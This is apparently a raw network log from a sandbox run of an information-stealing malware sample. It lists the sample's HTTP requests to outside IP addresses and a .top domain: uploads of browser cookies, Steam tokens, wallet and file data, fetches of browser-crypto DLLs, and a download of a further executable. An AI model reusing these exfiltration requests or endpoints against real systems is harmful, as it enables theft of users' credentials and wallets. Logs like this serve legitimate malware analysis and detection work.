Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGCHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FCGIJKJJKEBGHJKFIDGC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 38 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007824001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGCFCFHCFHIECAEHDHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 43 46 43 46 48 43 46 48 49 45 43 41 45 48 44 48 2d 2d 0d 0a Data Ascii: ------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFBGCFCFHCFHIECAEHDHContent-Disposition: form-data; name="file"------BFBGCFCFHCFHIECAEHDH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBFBFIIJDAKECAKKJEHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFBFBFIIJDAKECAKKJEHContent-Disposition: form-data; name="file"------BFBFBFIIJDAKECAKKJEH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 30524Content-Type: multipart/form-data; boundary=------------------------8LKCnrUf4b34OQ00A3hiQFData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 4c 4b 43 6e 72 55 66 34 62 33 34 4f 51 30 30 41 33 68 69 51 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 61 6c 61 64 69 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a bd bf ac 3d e8 7e cd 27 4a c3 ae 7d 98 8f a9 c1 4a 0e 87 1c dc c7 ea 31 e8 b3 58 42 48 64 0e 2d 23 cb 16 b8 8d 8d de 2b b8 88 fc 84 99 88 33 78 d4 a5 6a 87 03 31 cb 79 b5 41 ac cc 61 37 61 c0 6e 73 a2 5d a5 30 0b f4 ef 00 a6 90 8e bb 49 c2 07 46 c5 f2 2d da 45 d7 09 f0 6c 98 43 a2 6a dd 59 64 c2 5d 84 f0 25 33 f4 f2 25 bf 3b 81 fa 75 3d 25 11 63 54 b2 c7 db 97 33 5c 7c 0d 7c e6 ba 48 61 65 08 9b 15 41 96 b8 f1 8e ab 79 c6 16 65 f9 b8 06 99 80 1d ab 83 1a 8b af 8f e4 e6 77 52 8f c2 2a ca 5b 88 a5 ef 80 bf fa 66 01 61 32 f8 fc 0b e5 e5 79 1b f0 6f 0f 8c 24 44 e7 c8 6d 67 53 2f 4a 8d 77 eb f0 78 ab 64 c3 db a8 4f b1 19 1c a0 a9 38 4a 8b 4d 84 a8 7e 21 6c 60 61 c4 59 35 cf 53 bb ee af 6c 5a 81 fe 99 05 79 66 f0 0a e2 7d a7 10 27 5d 5c 00 94 71 1f 6c 08 46 1b fd 3f a1 e1 e8 92 4a 9c 6c 88 98 f6 d6 a2 32 fd 7f 7b f3 07 2a 4e 33 0f 93 8d c7 f5 22 c4 3a 48 51 3a 94 82 1e 0b 9a 7b ab bb 3f 07 71 90 e8 b6 b5 44 28 61 33 3a 7d 51 a7 a7 62 82 e2 9b 90 b3 51 23 ac 2b f3 e0 a6 b2 58 1e f0 07 dd 2b ee 8c 48 3d 18 7b dd 52 b0 d1 98 e5 e0 07 bc a4 12 bc 9d 8e a5 12 35 22 12 5b fb d3 5b 21 df 25 15 90 02 63 78 08 46 34 0b de 82 4b a2 85 23 9b 2a 35 cb ab e6 b5 02 46 54 a6 a5 d6 32 74 21 15 ef 20 dc 6f ca 9c 39 21 35 c2 cc 1b 6b 37 9a 56 0c e4 dc d3 f3 62 e9 64 94 9a 2d ae b8 ea 59 f7 e7 c0 35 b4 06 06 43 08 e3 19 c4 6e a0 60 fa 0d a7 64 38 c8 35 c8 bb a8 8e 39 94 d7 e0 8c ff 64 0b 92 ba 94 c6 84 74 9d 84 66 23 75 ef c1 07 04 16 84 24 9b 11 65 06 55 72 f9 51 1a ac 39 b7 ad 65 e1 f2 b3 8d a0 3a be c2 6d bb 8e 75 33 e4 40 67 d1 40 14 9b 32 2e 1b 46 bf aa 2a 70 5b af f0 6f d1 51 08 b9 81 ff f4 80 42 3b 65 6e 23 d2 ec 8c 60 95 30 ba 2f 79 77 7c a5 3a 4b e0 d6 d9 51 ca 5e 4c 4b b8 f1 07 07 07 3b 96 e3 dc eb 07 21 c0 c5 b3 85 90 08 2f d4 fe e6 a8 e9 03 b6 96 4b e7 7f d4 83 34 17 14 6f a7 07 cb c1 83 d8 24 9e a3 63 c6 94 2e ce 2b 3c 9a 25 dd ed b3 80 9c 9f 62 98 a9 f9 45 47 43 9a 87 30 50 ea f0 e4 d0 ed a0 27 2a b0 b0 0f 0a a6 b8 73 19 4a 1f 81 73 f6 59 e2 cc 99 27 fc 82 2c 43 18 68 ca d1 77 2f e4 23 01 40 76 5f ff 6e fd 35 a7 ed 41 6e 1a 28 e9 a6 c5 4c 01 00 e1 b0 6c 81 8e d4 2d d3 10 e2 3b de 05 c1 b1 9b 64 10 ab 97 3e 0b d2 cc a6 91 ac 6f 19 a8 4f 18 26 dd 1e a9 f4 07 28 90 70 b4 b6 c7 e6 e7 03 ad 90 fc 5c b6 00 1d 04 d0 7c 00 42 5e 1c 3b 11 71 9a b1 9d 94 42 d0 e9 a4 1d 6b 7f 38 91 16 42 ce f9 2e c0 0d f7
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="message"wallets------BKECAEBGHDAEBFHIEGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="message"files------IIEBGIDAAFHIJJJJEGCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIJJJKKJJDAKEBFIJDHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 2d 2d 0d 0a Data Ascii: ------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="file"------FHIJJJKKJJDAKEBFIJDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIJJDGDHDGDAKFIECFIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 2d 2d 0d 0a Data Ascii: ------EHIJJDGDHDGDAKFIECFIContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------EHIJJDGDHDGDAKFIECFIContent-Disposition: form-data; name="message"ybncbhylepme------EHIJJDGDHDGDAKFIECFI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
